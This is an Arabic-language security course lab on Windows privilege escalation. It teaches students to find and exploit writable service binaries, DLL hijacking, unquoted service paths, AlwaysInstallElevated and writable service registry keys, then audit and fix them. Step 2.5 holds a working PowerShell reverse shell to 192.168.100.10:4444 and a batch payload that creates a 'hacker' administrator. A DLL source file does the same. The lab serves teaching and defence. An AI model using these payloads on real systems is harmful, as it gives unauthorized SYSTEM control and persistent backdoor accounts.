انتقل إلى المحتوى الرئيسي

المختبر 4.1: تصعيد الامتيازات عبر الأذونات المكوّنة بشكل خاطئ

أهداف التعلم​

في نهاية هذا المختبر، ستكون قادرًا على:

  • تحديد الأذونات الخطيرة على الملفات والمجلدات في ويندوز
  • استغلال الملفات النظامية ذات الأذونات المفرطة
  • فهم واستغلال الخدمات المكوّنة بشكل خاطئ في ويندوز
  • تنفيذ تصعيد الامتيازات من مستخدم إلى SYSTEM
  • تطبيق مبدأ الأقل امتيازًا للدفاع
  • تدقيق النظام للبحث عن أخطاء تكوين الأذونات

المدة المقدرة​

35 دقيقة

المتطلبات المسبقة​

  • جهاز افتراضي ويندوز 10/11 مع حساب مستخدم عادي
  • حساب مدير متاح للتكوين الأولي
  • فهم لأذونات NTFS (دورة نظرية)
  • إكمال مختبرات الوحدات السابقة

السياق المهني​

تصعيد الامتيازات هو خطوة حاسمة في معظم الهجمات. بعد الحصول على الوصول الأولي (مستخدم عادي)، يسعى المهاجم للحصول على امتيازات المدير أو SYSTEM من أجل:

  • تثبيت أبواب خلفية دائمة
  • تعطيل برامج مكافحة الفيروسات والجدران النارية
  • الوصول إلى جميع بيانات النظام
  • اختراق أجهزة أخرى في الشبكة
  • الحفاظ على الوصول طويل الأمد

تعد تكوينات الأذونات الخاطئة أحد الأسباب الرئيسية لتصعيد الامتيازات في الشركات. يعلمك هذا المختبر كيفية تحديدها واستغلالها في سياق محكم، ثم تصحيحها.

حالات الاستخدام المهنية:

  • اختبارات الاختراق الداخلية
  • تدقيق أمان محطات العمل
  • التحقق من الامتثال (معايير CIS)
  • تحليل سطح الهجوم

التحذير الأخلاقي والقانوني​

التقنيات المستخدمة في تصعيد الامتيازات التي يتم تدريسها في هذا المختبر تمكن من الحصول على سيطرة كاملة على نظام ويندوز. يستخدم المهاجمون هذه التقنيات لاختراق الأنظمة.

مسموح بها فقط:

  • على جهازك الافتراضي الشخصي
  • على الأنظمة التي تملكها أو تكون مديرًا مخولًا لها
  • في إطار اختبارات الاختراق بعقد موقع
  • لتقييم الأمان بإذن كتابي

محظور تمامًا:

  • على أنظمة الشركات بدون إذن رسمي
  • على أجهزة الكمبيوتر التي لا تملكها
  • للحصول على وصول غير مصرح به
  • لتجاوز تدابير الأمان بدون إذن

العواقب القانونية: تصعيد الامتيازات غير المصرح به = وصول غير قانوني إلى نظام حاسوبي (القانون الجنائي الكندي، المادة 342.1). العقوبات: غرامات ضخمة وسجن.


الجزء 1: فهم أذونات ويندوز​

الخطوة 1.1: نموذج الأمان في ويندوز​

مستويات الامتيازات:

  1. مستخدم عادي

    • يمكنه تعديل ملفاته الخاصة
    • يمكنه تشغيل معظم البرامج
    • لا يمكنه تثبيت برامج النظام
    • لا يمكنه تعديل ملفات النظام
    • لا يمكنه الوصول إلى ملفات المستخدمين الآخرين
  2. مدير

    • يمكنه تثبيت البرامج
    • يمكنه تعديل تكوين النظام
    • يمكنه إنشاء/حذف المستخدمين
    • يمكنه تعديل الأذونات
    • محدود بواسطة UAC في بعض الإجراءات
  3. SYSTEM

    • حساب نظام ويندوز
    • امتيازات قصوى
    • أقوى من المدير
    • لا توجد قيود UAC
    • سيطرة كاملة على النظام

هدف هذا المختبر: الانتقال من مستخدم عادي إلى SYSTEM

الخطوة 1.2: أمر ICacls - تدقيق الأذونات​

يسمح الأمر icacls برؤية وتعديل أذونات NTFS.

الصيغة الأساسية:

icacls "C:\chemin\vers\fichier"

قراءة الأذونات:

F  = التحكم الكامل
M = تعديل
RX = قراءة وتشغيل
R = قراءة
W = كتابة

أمثلة على المخرجات:

C:\Windows\System32\calc.exe NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)

أسئلة:

  1. ما هو مستوى الامتياز لحسابك الحالي؟ (نفذ whoami /groups)
  2. هل يمكنك تعديل ملف في C:\Windows\System32 كمستخدم عادي؟

الخطوة 1.3: البحث عن ملفات ذات أذونات غير صحيحة​

أمر البحث:

icacls "C:\Program Files\*" /T 2>nul | findstr "Everyone:(F) Users:(F) %USERNAME%:(F)"

التفسير:

  • يفحص جميع الملفات في Program Files
  • /T = تكراري
  • 2>nul = تجاهل الأخطاء
  • يبحث عن أذونات التحكم الكامل لـ Everyone أو Users أو لك

بديل PowerShell (أقوى):

Get-ChildItem "C:\Program Files" -Recurse -ErrorAction SilentlyContinue | 
ForEach-Object {
$acl = Get-Acl $_.FullName
$writeAccess = $acl.Access | Where-Object {
($_.IdentityReference -like "*Users*" -or $_.IdentityReference -like "*Everyone*") -and
($_.FileSystemRights -match "FullControl|Modify|Write")
}
if ($writeAccess) {
[PSCustomObject]@{
Path = $_.FullName
Identity = $writeAccess.IdentityReference
Rights = $writeAccess.FileSystemRights
}
}
}

أسئلة: 3. هل وجدت ملفات ذات أذونات مفرطة؟ 4. لماذا تعتبر هذه الأذونات خطيرة؟


الجزء 2: استغلال الخدمة مع بائن قابل للكتابة​

الخطوة 2.1: مفهوم الهجوم​

المبدأ:

  1. خدمة ويندوز تعمل كـ SYSTEM
  2. البائن (ملف .exe) للخدمة لديه أذونات غير صحيحة
  3. يمكن للمستخدم العادي تعديل البائن
  4. استبدال بـ reverse shell أو backdoor
  5. إعادة تشغيل الخدمة
  6. يتم تنفيذ الكود الضار كـ SYSTEM

النتيجة: تصعيد من مستخدم إلى SYSTEM في خطوتين!

الخطوة 2.2: إنشاء خدمة ضعيفة (إعداد)​

ملاحظة: يتم تنفيذ هذه الخطوة بواسطة المدير لإنشاء البيئة الضعيفة.

على جهازك الافتراضي، كمدير:

أنشئ خدمة بسيطة VulnService.exe:

@echo off
REM خدمة بسيطة لا تفعل شيئًا
:loop
timeout /t 10 /nobreak > nul
goto loop

احفظ كـ VulnService.bat، ثم أنشئ مغلفًا:

echo @echo off > C:\Services\VulnService.bat
echo :loop >> C:\Services\VulnService.bat
echo timeout /t 10 /nobreak ^> nul >> C:\Services\VulnService.bat
echo goto loop >> C:\Services\VulnService.bat

أنشئ الخدمة:

sc create VulnService binPath= "C:\Services\VulnService.bat" start= auto
sc description VulnService "خدمة اختبار لمختبر الأمان"

امنح أذونات WRITE لـ Users (ضعيفة عمدًا!):

icacls "C:\Services\VulnService.bat" /grant Users:F

تحقق:

icacls "C:\Services\VulnService.bat"

يجب أن يظهر: BUILTIN\Users:(F)

الخطوة 2.3: تعداد الخدمات (كمستخدم)​

الآن، قم بتسجيل الدخول كمستخدم عادي.

قائمة جميع الخدمات:

sc query type= service state= all

البحث عن الخدمات التي تعمل كـ SYSTEM:

Get-WmiObject win32_service | 
Where-Object {$_.StartMode -ne "Disabled"} |
Select-Object Name, DisplayName, PathName, StartName, State |
Format-Table -AutoSize

ابحث بشكل خاص عن:

  • StartName = LocalSystem (SYSTEM)
  • خدمات مخصصة (ليست من مايكروسوفت)

تحديد VulnService:

sc qc VulnService

لاحظ المسار: C:\Services\VulnService.bat

أسئلة: 5. كم عدد الخدمات التي تعمل كـ SYSTEM؟ 6. ما هو مسار بائن VulnService؟

الخطوة 2.4: التحقق من أذونات البائن​

تحقق مما إذا كان يمكنك تعديل الملف:

icacls "C:\Services\VulnService.bat"

إذا رأيت:

BUILTIN\Users:(F)

تم العثور على الضعف! يمكنك تعديل هذا الملف!

اختبار التعديل:

echo REM Test modification >> C:\Services\VulnService.bat

إذا لم يكن هناك خطأ: يمكنك التعديل! الاستغلال ممكن!

أسئلة: 7. هل يمكنك تعديل بائن الخدمة كمستخدم؟ 8. ما هو الحساب الذي يشغل هذه الخدمة؟

الخطوة 2.5: الاستغلال - الاستبدال بـ Reverse Shell​

أنشئ حمولتك (reverse shell بسيط):

احفظ payload.bat:

@echo off
REM Reverse shell إلى 192.168.100.10:4444
powershell -WindowStyle Hidden -Command "$client = New-Object System.Net.Sockets.TCPClient('192.168.100.10',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

أو نسخة بسيطة تنشئ حساب مدير:

@echo off
net user hacker Password123! /add
net localgroup Administrateurs hacker /add

استبدل الخدمة:

copy C:\Services\VulnService.bat C:\Services\VulnService.bat.bak
copy payload.bat C:\Services\VulnService.bat

أعد تشغيل الخدمة:

sc stop VulnService
sc start VulnService

بوم! الخدمة تعمل كـ SYSTEM مع كودك!

إذا كان reverse shell: يتلقى المستمع اتصالًا كـ SYSTEM
إذا كان إنشاء حساب: تم إنشاء حساب مدير جديد!

التحقق:

net user

يجب أن ترى الحساب "hacker"!

net localgroup Administrateurs

الحساب "hacker" موجود في مجموعة المدراء!

أسئلة: 9. هل نجح الاستغلال؟ 10. كم من الوقت استغرق التصعيد الكامل (من الاكتشاف إلى الاستغلال)؟


الجزء 3: استغلال DLL Hijacking​

الخطوة 3.1: فهم DLL Hijacking​

المبدأ:

عندما يبدأ برنامج ويندوز:

  1. يبحث عن DLL اللازمة
  2. ترتيب بحث محدد مسبقًا (DLL Search Order)
  3. إذا تم العثور على DLL في PATH قبل الموقع الحقيقي: يتم تحميلها!

ترتيب البحث النموذجي:

  1. مجلد التطبيق
  2. System32
  3. Windows
  4. المجلد الحالي
  5. المجلدات في PATH

الاستغلال:

  • وضع DLL ضارة في مجلد يتم البحث فيه أولاً
  • التطبيق يحمل DLL الخاصة بنا بدلاً من الشرعية
  • يتم تنفيذ الكود الضار بامتيازات التطبيق

الخطوة 3.2: تحديد التطبيقات الضعيفة​

أداة: Process Monitor (Sysinternals)

تنزيل: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon

التكوين:

  1. تشغيل Process Monitor كمدير
  2. الفلاتر:
    • العملية: CreateFile
    • المسار: ends with .dll
    • النتيجة: NAME NOT FOUND

تشغيل تطبيق ومراقبة:

سترى جميع DLL التي يبحث عنها التطبيق ولكن لا يجدها!

مثال على المخرجات:

explorer.exe  CreateFile  C:\Windows\version.dll  NAME NOT FOUND
explorer.exe CreateFile C:\Program Files\...\missing.dll NAME NOT FOUND

إذا كان أحد هذه المسارات قابلاً للكتابة بواسطة Users: الاستغلال ممكن!

الخطوة 3.3: إنشاء DLL ضارة (عرض)​

ملاحظة: يتطلب إنشاء DLL تجميع. لهذا المختبر، سنستخدم DLL اختبارية.

مفهوم DLL ضارة:

// payload.c
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// كود ضار يتم تنفيذه عند التحميل
WinExec("cmd.exe /c net user hacker Pass123! /add", SW_HIDE);
WinExec("cmd.exe /c net localgroup Administrators hacker /add", SW_HIDE);
}
return TRUE;
}

التجميع:

x86_64-w64-mingw32-gcc payload.c -shared -o version.dll

الوضع:

copy version.dll "C:\Writable\Path\version.dll"

إعادة تشغيل التطبيق:

يحمل التطبيق DLL المزيفة وينفذ الكود الضار!

أسئلة: 11. ما هي التطبيقات التي بحثت عن DLL غير موجودة؟ 12. ما هي المسارات القابلة للكتابة بواسطة المستخدم الخاص بك؟

الخطوة 3.4: استغلال متغير PATH​

تحقق من PATH الخاص بك:

echo %PATH%

البحث عن المجلدات ذات الوصول للكتابة:

$env:PATH -split ';' | ForEach-Object {
if (Test-Path $_) {
$acl = Get-Acl $_
$writeAccess = $acl.Access | Where-Object {
($_.IdentityReference -like "*Users*" -or $_.IdentityReference -like "*$env:USERNAME*") -and
($_.FileSystemRights -match "Write|Modify|FullControl")
}
if ($writeAccess) {
Write-Host "VULNERABLE: $_" -ForegroundColor Red
Write-Host " Permissions: $($writeAccess.FileSystemRights)"
}
}
}

إذا كان مجلد في PATH قابلاً للكتابة:

  1. يبحث التطبيق عن DLL
  2. يتم وضع DLL ضارة في PATH القابل للكتابة
  3. يجدها ويندوز ويحملها
  4. يتم تنفيذ الكود الضار!

عرض:

REM إذا كان C:\Tools في PATH وقابل للكتابة
copy malicious.dll C:\Tools\commonlib.dll

التطبيق التالي الذي يبحث عن commonlib.dll سيحمل خاصتك!


الجزء 4: استغلال الملفات النظامية القابلة للكتابة​

الخطوة 4.1: البحث عن ملفات نظامية ذات أذونات غير صحيحة​

سكريبت PowerShell للتعداد:

Write-Host "=== AUDIT DE PERMISSIONS - FICHIERS SYSTEME ===" -ForegroundColor Cyan

$systemPaths = @(
"C:\Windows\System32",
"C:\Windows\SysWOW64",
"C:\Program Files",
"C:\Program Files (x86)"
)

$vulnerableFiles = @()

foreach ($path in $systemPaths) {
if (Test-Path $path) {
Write-Host "`nScanning: $path" -ForegroundColor Yellow

Get-ChildItem -Path $path -File -ErrorAction SilentlyContinue | ForEach-Object {
try {
$acl = Get-Acl $_.FullName -ErrorAction Stop
$dangerousPerms = $acl.Access | Where-Object {
($_.IdentityReference -like "*Users*" -or
$_.IdentityReference -like "*Everyone*" -or
$_.IdentityReference -like "*Authenticated Users*") -and
($_.FileSystemRights -match "Write|Modify|FullControl") -and
($_.AccessControlType -eq "Allow")
}

if ($dangerousPerms) {
$vulnerableFiles += [PSCustomObject]@{
File = $_.FullName
Identity = $dangerousPerms.IdentityReference -join ", "
Rights = $dangerousPerms.FileSystemRights -join ", "
}
}
} catch {}
}
}
}

if ($vulnerableFiles.Count -gt 0) {
Write-Host "`n=== FICHIERS VULNERABLES TROUVES ===" -ForegroundColor Red
$vulnerableFiles | Format-Table -AutoSize
} else {
Write-Host "`nAucune vulnérabilité de permission trouvée." -ForegroundColor Green
}

احفظ كـ permission_audit.ps1 ونفذ:

powershell -ExecutionPolicy Bypass -File permission_audit.ps1

النتيجة المتوقعة:

إذا كان النظام مكونًا بشكل جيد: لا توجد ثغرات
إذا كان مكونًا بشكل سيء: قائمة بالملفات القابلة للاستغلال

الخطوة 4.2: سيناريو - استغلال بائن قابل للكتابة​

إذا وجدت ملف نظامي قابل للكتابة:

مثال: C:\Program Files\SomeApp\app.exe مع أذونات Users:(M)

الاستغلال:

  1. نسخ الأصل:
copy "C:\Program Files\SomeApp\app.exe" "C:\Program Files\SomeApp\app.exe.bak"
  1. استبدال بحمولة:
copy evil_payload.exe "C:\Program Files\SomeApp\app.exe"
  1. انتظار أو فرض التنفيذ:

    • إذا كانت خدمة: sc start ServiceName
    • إذا كانت تطبيق: يقوم المستخدم بتشغيلها
    • إذا كانت مهمة مجدولة: انتظار الوقت
  2. يتم تنفيذ الحمولة بامتيازات التطبيق!

أسئلة: 13. ما هي أنواع الملفات النظامية التي يمكنك استغلالها؟ 14. كيف يجب على المدير تكوين الأذونات؟


الجزء 5: مسارات الخدمة غير المقتبسة​

الخطوة 5.1: فهم الثغرة​

المشكلة: خدمة مع مسار يحتوي على مسافات وغير محاط بعلامات اقتباس

مثال على خدمة ضعيفة:

binPath= C:\Program Files\My Service\service.exe

سيبحث ويندوز بهذا الترتيب:

  1. C:\Program.exe
  2. C:\Program Files\My.exe
  3. C:\Program Files\My Service\service.exe

إذا كان بإمكانك الكتابة في C:\ أو C:\Program Files\:

  • ضع Program.exe أو My.exe
  • سيقوم ويندوز بتنفيذه أولاً!
  • بامتيازات الخدمة (غالبًا SYSTEM)

الخطوة 5.2: البحث عن خدمات ضعيفة​

PowerShell:

Get-WmiObject win32_service | 
Where-Object {
$_.PathName -notmatch '^".*"' -and
$_.PathName -match ' ' -and
$_.StartName -like '*System*'
} |
Select-Object Name, PathName, StartName, State |
Format-List

CMD:

wmic service get name,pathname,startname | findstr /i /v "C:\Windows" | findstr /i /v """

النتيجة النموذجية:

Name: VulnerableService
PathName: C:\Program Files\Vulnerable App\service.exe
StartName: LocalSystem

انتبه للمسافات وغياب علامات الاقتباس!

الخطوة 5.3: الاستغلال​

إذا وجدت:

PathName: C:\Program Files\My Service\app.exe

وأن C:\Program Files\ قابل للكتابة (نادر ولكن ممكن):

أنشئ My.exe (حمولة):

copy payload.exe "C:\Program Files\My.exe"

أعد تشغيل الخدمة:

sc stop VulnerableService
sc start VulnerableService

يقوم ويندوز بتنفيذ C:\Program Files\My.exe بدلاً من My Service\app.exe!

أسئلة: 15. هل وجدت خدمات ذات مسارات غير مقتبسة؟ 16. لماذا توجد هذه الثغرة؟


الجزء 6: أذونات المجلدات وAlwaysInstallElevated​

الخطوة 6.1: AlwaysInstallElevated​

سياسة سجل خطيرة:

إذا كانت هاتان المفتاحان موجودتان ومضبوطان على 1:

HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 1
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 1

النتيجة: يتم تثبيت جميع ملفات .msi بامتيازات SYSTEM!

التحقق:

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

إذا أعاد كلاهما 0x1: الثغرة موجودة!

الاستغلال:

  1. إنشاء .msi ضار (باستخدام msfvenom أو WiX Toolset)
  2. تنفيذ: msiexec /quiet /qn /i malicious.msi
  3. التثبيت بامتيازات SYSTEM!
  4. يتم تنفيذ الحمولة كـ SYSTEM!

PowerShell - التحقق التلقائي:

function Test-AlwaysInstallElevated {
$hklm = (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated
$hkcu = (Get-ItemProperty "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated

if ($hklm -eq 1 -and $hkcu -eq 1) {
Write-Host "VULNERABLE: AlwaysInstallElevated مفعل!" -ForegroundColor Red
return $true
} else {
Write-Host "غير معرض للخطر" -ForegroundColor Green
return $false
}
}

Test-AlwaysInstallElevated

الخطوة 6.2: سجل قابل للكتابة​

بعض مفاتيح السجل تتحكم في الخدمات:

البحث عن مفاتيح الخدمات ذات الأذونات القابلة للكتابة:

Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object {
try {
$acl = Get-Acl "Registry::$($_.Name)" -ErrorAction Stop
$writeAccess = $acl.Access | Where-Object {
$_.IdentityReference -like "*Users*" -and
$_.RegistryRights -match "WriteKey|FullControl"
}
if ($writeAccess) {
Write-Host "Vulnerable: $($_.PSChildName)"
Write-Host " Rights: $($writeAccess.RegistryRights)"
}
} catch {}
}

إذا كانت مفتاح خدمة قابلة للكتابة:

تعديل ImagePath (مسار البائن):

reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnService" /v ImagePath /t REG_EXPAND_SZ /d "C:\payload.exe" /f

إعادة تشغيل الخدمة: يتم تنفيذ الحمولة كـ SYSTEM!

أسئلة: 17. هل هناك مفاتيح سجل خدمات قابلة للكتابة بواسطة Users؟ 18. لماذا يعد السماح لـ Users بتعديل سجل النظام خطيرًا؟


الجزء 7: الكشف والدفاع​

الخطوة 7.1: سكريبت تدقيق كامل​

أنشئ escalation_audit.ps1:

Write-Host "=== AUDIT D'ESCALADE DE PRIVILEGES ===" -ForegroundColor Cyan
Write-Host ""

# 1. خدمات ذات بائنات قابلة للكتابة
Write-Host "[1] خدمات ذات بائنات قابلة للكتابة" -ForegroundColor Yellow
Get-WmiObject win32_service | Where-Object {$_.PathName -and $_.StartName -like '*System*'} | ForEach-Object {
$path = $_.PathName -replace '"','' -replace ' .*',''
if (Test-Path $path) {
try {
$acl = Get-Acl $path -ErrorAction Stop
$writeAccess = $acl.Access | Where-Object {
($_.IdentityReference -like "*Users*") -and
($_.FileSystemRights -match "Write|Modify|FullControl")
}
if ($writeAccess) {
Write-Host " VULNERABLE: $($_.Name)" -ForegroundColor Red
Write-Host " Path: $path"
Write-Host " Runs as: $($_.StartName)"
}
} catch {}
}
}

# 2. مسارات الخدمة غير المقتبسة
Write-Host "`n[2] مسارات الخدمة غير المقتبسة" -ForegroundColor Yellow
Get-WmiObject win32_service | Where-Object {
$_.PathName -notmatch '^".*"' -and
$_.PathName -match ' ' -and
$_.StartName -like '*System*'
} | ForEach-Object {
Write-Host " VULNERABLE: $($_.Name)" -ForegroundColor Red
Write-Host " Path: $($_.PathName)"
}

# 3. AlwaysInstallElevated
Write-Host "`n[3] AlwaysInstallElevated" -ForegroundColor Yellow
$hklm = (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated
$hkcu = (Get-ItemProperty "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated
if ($hklm -eq 1 -and $hkcu -eq 1) {
Write-Host " VULNERABLE: AlwaysInstallElevated مفعل" -ForegroundColor Red
} else {
Write-Host " غير معرض للخطر" -ForegroundColor Green
}

# 4. مجلدات في PATH قابلة للكتابة
Write-Host "`n[4] مجلدات PATH قابلة للكتابة" -ForegroundColor Yellow
$env:PATH -split ';' | ForEach-Object {
if (Test-Path $_) {
try {
$acl = Get-Acl $_ -ErrorAction Stop
$writeAccess = $acl.Access | Where-Object {
($_.IdentityReference -like "*Users*") -and
($_.FileSystemRights -match "Write|Modify|FullControl")
}
if ($writeAccess) {
Write-Host " VULNERABLE: $_" -ForegroundColor Red
}
} catch {}
}
}

Write-Host "`n=== AUDIT TERMINE ===" -ForegroundColor Cyan

نفذ:

powershell -ExecutionPolicy Bypass -File escalation_audit.ps1

تقرير كامل عن جميع الثغرات في التصعيد!

الخطوة 7.2: تصحيح الأذونات​

لتصحيح إذن غير صحيح:

إزالة الوصول للكتابة لـ Users:

icacls "C:\Services\VulnService.bat" /remove Users

منح فقط Read & Execute:

icacls "C:\Services\VulnService.bat" /grant Users:RX

منح التحكم الكامل فقط لـ SYSTEM وAdmins:

icacls "C:\Services\VulnService.bat" /grant SYSTEM:F
icacls "C:\Services\VulnService.bat" /grant Administrators:F

التحقق:

icacls "C:\Services\VulnService.bat"

يجب أن يظهر:

NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
BUILTIN\Users:(RX)

تم تطبيق مبدأ الأقل امتيازًا!

الخطوة 7.3: الممارسات الجيدة​

لتجنب هذه الثغرات:

  1. الخدمات:

    • استخدم دائمًا علامات الاقتباس في binPath
    • أذونات مقيدة على البائنات (RX لـ Users كحد أقصى)
    • تشغيل الخدمات بحسابات مخصصة (ليس SYSTEM إذا أمكن)
    • التدقيق بانتظام
  2. الملفات النظامية:

    • لا يوجد تحكم كامل لـ Users
    • التعديل محجوز لـ SYSTEM وAdmins
    • تدقيق آلي أسبوعي
  3. PATH:

    • لا توجد مجلدات قابلة للكتابة بواسطة Users في PATH النظامي
    • مجلدات شخصية فقط في PATH المستخدم
  4. السجل:

    • أذونات صارمة على HKLM\SYSTEM
    • مراقبة التعديلات
    • تنبيهات على تغييرات الخدمات
  5. AlwaysInstallElevated:

    • لا تقم أبدًا بتفعيل هذه السياسة
    • تحقق بانتظام من أنها معطلة

أسئلة: 19. ما هو الإذن الأكثر أمانًا لبائن الخدمة؟ 20. كيف يمكنك أتمتة تدقيق الأذونات؟


التسليمات​

يجب تقديم:

  1. تقرير الاستغلال (Word/PDF، 4-5 صفحات):

    • إجابات على الأسئلة العشرين
    • منهجية التصعيد المستخدمة
    • الوقت المقاس لكل خطوة
    • لقطات شاشة للاستغلالات الناجحة
  2. لقطات شاشة (الحد الأدنى 6):

    • حساب المستخدم العادي الأولي (whoami)
    • اكتشاف خدمة ضعيفة (icacls)
    • تعديل بائن الخدمة
    • الحصول على حساب SYSTEM أو إنشاء مدير
    • نتيجة سكريبت permission_audit.ps1
    • الأذونات المصححة
  3. سكريبت التدقيق (PowerShell):

    • نسخة محسنة من permission_audit.ps1
    • تصدير النتائج إلى CSV
    • تقرير HTML مولد
  4. خطة العلاج (2 صفحات):

    • قائمة الثغرات المكتشفة
    • الأولوية حسب المخاطر
    • الإجراءات التصحيحية الموصى بها
    • جدول زمني للتنفيذ

معايير التقييم​

المعيارالنقاط
تحديد ثغرات الأذونات25%
استغلال ناجح (تصعيد الامتيازات)30%
فهم نواقل الهجوم20%
سكريبت تدقيق وظيفي15%
خطة علاج واقعية10%

أوامر مرجعية سريعة​

التعداد​

whoami /all
icacls "fichier.exe"
sc query type= service state= all
wmic service get name,pathname,startname
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

PowerShell​

Get-Acl "fichier" | Format-List
Get-WmiObject win32_service
Get-ChildItem -Recurse | Get-Acl

الاستغلال​

copy payload.exe "vulnerable_path.exe"
sc stop ServiceName
sc start ServiceName
net user hacker Pass123! /add
net localgroup Administrators hacker /add

التصحيح​

icacls "file" /remove Users
icacls "file" /grant Users:RX
icacls "file" /grant SYSTEM:F

استكشاف الأخطاء وإصلاحها​

مشكلة: "تم رفض الوصول" عند تعديل ملف​

الحل: هذا طبيعي إذا كانت الأذونات صحيحة! ابحث عن ملفات أخرى أو أنشئ خدمة ضعيفة للمختبر.

مشكلة: لم يتم العثور على أي خدمة ضعيفة​

الحل: أنشئ واحدة عمدًا (الخطوة 2.2) لممارسة الاستغلال.

مشكلة: الخدمة لا تعيد التشغيل​

الحل:

  • تحقق من وجود الخدمة: sc query ServiceName
  • تحقق من الأذونات: قد تكون حقوق المدير مطلوبة
  • تحقق من السجلات: eventvwr.msc → سجلات ويندوز → النظام

الذهاب أبعد (اختياري)​

التحدي 1: الاستغلال الآلي​

أنشئ سكريبت يقوم بـ:

  • فحص جميع الخدمات تلقائيًا
  • تحديد تلك ذات البائنات القابلة للكتابة
  • توليد حمولات مناسبة
  • سرد جميع طرق التصعيد الممكنة

التحدي 2: PowerUp​

استخدم أداة PowerUp (PowerShell Empire):

Import-Module .\PowerUp.ps1
Invoke-AllChecks

قارن مع سكريبت التدقيق الخاص بك.

التحدي 3: قاعدة بيانات تصعيد الامتيازات​

ابحث ووثق:

  • Windows Exploit Suggester
  • JAWS (Just Another Windows enum Script)
  • WinPEAS
  • Sherlock

اختبرها على جهازك الافتراضي وقارن النتائج.


موارد إضافية​


الخاتمة​

علمك هذا المختبر:

  • تحديد ثغرات الأذونات في ويندوز
  • استغلال الخدمات المكوّنة بشكل خاطئ لتصعيد الامتيازات
  • فهم نواقل الهجوم: بائنات قابلة للكتابة، DLL hijacking، مسارات غير مقتبسة
  • إجراء تدقيق كامل للأذونات
  • تطبيق مبدأ الأقل امتيازًا

الدروس الرئيسية:

  1. الأذونات غير الصحيحة هي سبب رئيسي لتصعيد الامتيازات
  2. الخدمات التي تعمل كـ SYSTEM مع بائنات قابلة للكتابة = ثغرة حرجة
  3. التدقيق المنتظم للأذونات ضروري
  4. يجب تطبيق مبدأ الأقل امتيازًا بشكل منهجي
  5. أتمتة التدقيق تمكن من اكتشاف المشاكل بسرعة

في بيئة حقيقية:

  • هذه الثغرات شائعة، خاصة في التطبيقات الخارجية
  • يمكن أن يستغرق الاستغلال أقل من 5 دقائق
  • الكشف صعب بدون مراقبة مناسبة
  • تأثير حرج: السيطرة الكاملة على النظام

الخطوة التالية: المختبر 4.2 حيث ستتعلم إخفاء الملفات الضارة باستخدام Alternate Data Streams من NTFS!


مختبر تم تطويره في إطار دورة أنظمة التشغيل - الوحدة 4